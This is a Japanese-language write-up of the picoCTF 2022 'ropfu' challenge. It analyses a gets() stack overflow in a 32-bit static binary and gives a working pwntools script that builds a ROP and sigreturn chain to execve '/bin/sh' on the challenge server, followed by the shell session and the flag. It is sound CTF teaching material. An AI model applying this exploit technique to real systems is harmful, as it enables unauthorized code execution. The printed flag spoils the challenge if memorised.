picoCTF 2022 writeup ropfu

## ropfu (Bianry Exploitation)

What's ROP? 
Can you exploit the following program to get the flag? 
Download source. 
`nc saturn.picoctf.net 57122`

添付ファイル
・vuln
・vuln.c

とりあえず、実行してみる。
```
$ nc saturn.picoctf.net 57122
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa
```
任意の文字列を受け取るらしい。目標はshellを取ること。
ソースコードを確認する。
```c
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/types.h>

#define BUFSIZE 16

void vuln() {
  char buf[16];
  printf("How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!\n");
  return gets(buf);

}

int main(int argc, char **argv){

  setvbuf(stdout, NULL, _IONBF, 0);
  

  // Set the gid to the effective gid
  // this prevents /bin/sh from dropping the privileges
  gid_t gid = getegid();
  setresgid(gid, gid, gid);
  vuln();
  
}
```
gets(buf)でbuffer overflowができる。
```
$ file vuln 
vuln: ELF 32-bit LSB executable, Intel 80386, version 1 (GNU/Linux), statically linked, BuildID[sha1]=232215a502491a549a155b1a790de97f0c433482, for GNU/Linux 3.2.0, not stripped
$ checksec vuln
[*] '/home/colza-picoctf/vuln'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
```
このファイルは32-bit binary。
shellを起動するROP chainを組み、buffer overflowを利用して実行させる。

オフセットを調べる。
```
pwndbg> x/12x $ebp-0x18
0xffffcf30:     0x61616161      0x0806e500      0x080e5000      0x08049e12
0xffffcf40:     0x000003e8      0x080e5000      0xffffcf68      0x08049e1a
0xffffcf50:     0x080e5000      0x080e5000      0x080e5000      0x000003e8
```
gets(buf)実行後のebpレジスタを見ると、bufの先頭から0x1c bytesのところにreturn addressがある。

shellを起動できるようにROP chainを組む。静的にコンパイルされたバイナリだが、system等の使えそうな関数や`/bin/sh`が見当たらない。よって、`execve("/bin/sh", NULL, NULL)`を実行できるように、`/bin/sh`を読み書き可能な領域のアドレスに書き込み、第1引数として書き込み先のアドレスを渡す。

`/bin/sh`の書き込みはgets()を利用する。また、書き込み先アドレスは.bssの先頭0x080e62c0とする。

以下、実行コード。
```python solve.py
from pwn import *
context.kernel = 'amd64'
elf = ELF('./vuln')

p = remote('saturn.picoctf.net', 57122)

rop = ROP(elf)
rop.call('gets', [0x080e62c0])
rop.execve(0x080e62c0, 0, 0)
print(rop.dump())

payload = b"a" * 0x1c + rop.chain()

p.sendline(payload)
p.sendline(b"/bin/sh")

p.interactive()
```

実行する。
```
$ python3 solve.py
[*] '/mnt/c/Users/NAEL/Desktop/vuln'
    Arch:       i386-32-little
    RELRO:      Partial RELRO
    Stack:      Canary found
    NX:         NX unknown - GNU_STACK missing
    PIE:        No PIE (0x8048000)
    Stack:      Executable
    RWX:        Has RWX segments
    Stripped:   No
[+] Opening connection to saturn.picoctf.net on port 57122: Done
[*] Loaded 77 cached gadgets for './vuln'
[*] Using sigreturn for 'SYS_execve'
0x0000:        0x8051b60 gets(0x80e62c0)
0x0004:        0x8049022 <adjust @0xc> pop ebx; ret
0x0008:        0x80e62c0 completed.7104
0x000c:        0x80b073a pop eax; ret
0x0010:             0x77 [arg0] eax = SYS_sigreturn
0x0014:        0x804a3c2 int 0x80
0x0018:              0x0 gs
0x001c:              0x0 fs
0x0020:              0x0 es
0x0024:              0x0 ds
0x0028:              0x0 edi
0x002c:              0x0 esi
0x0030:              0x0 ebp
0x0034:              0x0 esp
0x0038:        0x80e62c0 ebx = completed.7104
0x003c:              0x0 edx
0x0040:              0x0 ecx
0x0044:              0xb eax = SYS_execve
0x0048:              0x0 trapno
0x004c:              0x0 err
0x0050:        0x804a3c2 int 0x80
0x0054:             0x23 cs
0x0058:              0x0 eflags
0x005c:              0x0 esp_at_signal
0x0060:             0x2b ss
0x0064:              0x0 fpstate
[*] Switching to interactive mode
How strong is your ROP-fu? Snatch the shell from my hand, grasshopper!
$ ls
flag.txt
vuln
$ cat flag.txt
picoCTF{5n47ch_7h3_5h311_4c812975}
```

フラグが得られた。

`picoCTF{5n47ch_7h3_5h311_4c812975}`